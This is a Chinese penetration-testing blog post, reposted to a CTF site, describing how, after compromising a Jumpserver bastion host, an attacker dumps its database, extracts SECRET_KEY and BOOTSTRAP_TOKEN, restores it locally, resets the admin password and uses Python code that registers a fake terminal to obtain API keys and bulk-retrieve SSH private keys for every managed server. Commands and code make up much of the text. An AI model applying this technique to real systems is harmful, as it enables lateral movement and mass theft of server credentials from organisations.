Jumpserver 数据恢复之所有服务器权限

Jumpserver 数据恢复之所有服务器权限

某次渗透中遇到了Jumpserver,成功拿到Jumpserver服务器后,计划对Jumpserver中配置的其他服务器进行横向攻击,因此有了这篇文章。

从目标服务器获取数据

拿到服务器之后,下载Jumpserver的数据库配置,一般是mysql。

Jumpserver 数据恢复之所有服务器权限

获取配置文件,找持久化存储/opt/jumpserver的文件夹中的文件,一般是config.txt或者.env

Jumpserver 数据恢复之所有服务器权限

查看mysql密码,将Jumpserver数据库拖回来

cat config.txt
DB_PASSWORD=数据库密码

docker exec -it jms_mysql bash
mysqldump -h 127.0.0.1 -P3306 -uroot -p'数据库密码' --all-databases --single-transaction --no-tablespaces | gzip > data.sql.gz
docker cp jms_mysql:/tmp/data.sql.gz .

记录key和token

SECRET_KEY=
BOOTSTRAP_TOKEN=

本地恢复

从官方文档可知,直接docker起就完事了

git clone https://github.com/jumpserver/Dockerfile ~/jumpserver
cd ~/jumpserver
cp config_example.conf .env
vi .env

把我们之前获取到的key和token配置上。

Jumpserver 数据恢复之所有服务器权限

先把数据库启动,然后导入data.sql数据库文件

cd ~/jumpserver
docker-compose -f docker-compose-network.yml -f docker-compose-redis.yml -f docker-compose-mariadb.yml -f docker-compose-init-db.yml up -d

docker exec -it jms_mysql bash
mysql -uroot -p
use jumpserver
source /tmp/data.sql;

配置完毕数据库之后,更新数据库,启动jumpserver的web、koko等服务。

docker exec -i jms_core bash -c './jms upgrade_db'
docker-compose -f docker-compose-network.yml -f docker-compose.yml up -d

重置密码

docker exec -it jms_core bash
cd apps
python3 manage.py changepassword admin
Jumpserver 数据恢复之所有服务器权限

登陆jumpserver

使用重置之后的账号密码进行登录,设置多因子认证,以便于获取ssh私钥

Jumpserver 数据恢复之所有服务器权限

手动查看ssh私钥

Jumpserver 数据恢复之所有服务器权限

都能手动查看了,遇到量大的数据,总不能每个主机都上去点点点吧,当然要写脚本批量获取

脚本批量查看

根据Roc木木师傅的说法来看,Jumpserver各个组件与core之间的API调用是通过AccessKey进行认证鉴权,AccessKey是在服务启动时通过BOOTSTRAP_TOKEN向core模块注册服务账号来获取的。我们利用koko的模块向core发起注册请求,以便获取AccessKey

https://github.com/jumpserver/koko/blob/00cee388993ee6e92889df24aa033d09ce132fc5/pkg/koko/koko.go

调用MustLoadValidAccessKey方法返回AccessKey

Jumpserver 数据恢复之所有服务器权限

从文件中获取,如果没有则调用MustRegisterTerminalAccount方法。文件位置在docker koko的 data/keys/.access_key

Jumpserver 数据恢复之所有服务器权限
Jumpserver 数据恢复之所有服务器权限

注册TerminalAccount的流程如下:

Jumpserver 数据恢复之所有服务器权限

实际注册服务账号的方法如下(找service的实现就行了)

Jumpserver 数据恢复之所有服务器权限

可以看到请求在/api/v1/terminal/terminal-registrations/接口,只需要设置Authorization头,参数为BootstrapToken {}即可。

Jumpserver 数据恢复之所有服务器权限

代码部分,注意申请时name不能重复。

def get_accesskey(jms_url, BootToken):
    url = jms_url + '/api/v1/terminal/terminal-registrations/'
    headers = {'Authorization': 'BootstrapToken {}'.format(BootToken)}
    data = {'name': 'test13', 'comment': 'koko', 'type': 'koko'}
    response = requests.post(url, headers=headers, data=data)
    if response.status_code == 201:
        # print(response.text)
        access_id = json.loads(response.text)['service_account']['access_key']['id']
        access_secret = json.loads(response.text)['service_account']['access_key']['secret']
    else:
        print('Request failed with status code:', response.status_code)
        return None
    return access_id, access_secret

获取到access_id以及access_secret之后,利用这两个参数请求HTTPSignatureAuth即可获取到认证,然后利用这个认证,即可请求所有的api接口获取信息。

利用auth请求account-secrets接口,用于批量获取所有的ssh私钥,由于篇幅有限,只显示部分代码:

def get_account_secrets_info(jms_url, accounts_id):
    url = jms_url + '/api/v1/accounts/account-secrets/{}/'.format(accounts_id)
    gmt_form = '%a, %d %b %Y %H:%M:%S GMT'
    headers = {
        'Accept': 'application/json',
        'X-JMS-ORG': '00000000-0000-0000-0000-000000000002',
        'Cookie': 'jms_sessionid=cbh8wk2h5t99au1anqmx307y7a7ocddh',
        'Date': datetime.datetime.utcnow().strftime(gmt_form)
    }
    response = requests.get(url, proxies=proxies, headers=headers)
    return response.json()

这里有个小坑,其他api请求部分都不需要二次验证,所以很轻易就获取了api的数据,而查看ssh私钥是需要mfa二次验证的,所以需要手动获取一下jms_sessionid

Jumpserver 数据恢复之所有服务器权限
Jumpserver 数据恢复之所有服务器权限

完整代码可后台回复jumpserver即可进行查看。


原文始发于微信公众号(安全光圈):Jumpserver 数据恢复之所有服务器权限

版权声明:admin 发表于 2024年4月29日 上午10:34。
转载请注明:Jumpserver 数据恢复之所有服务器权限 | CTF导航

相关文章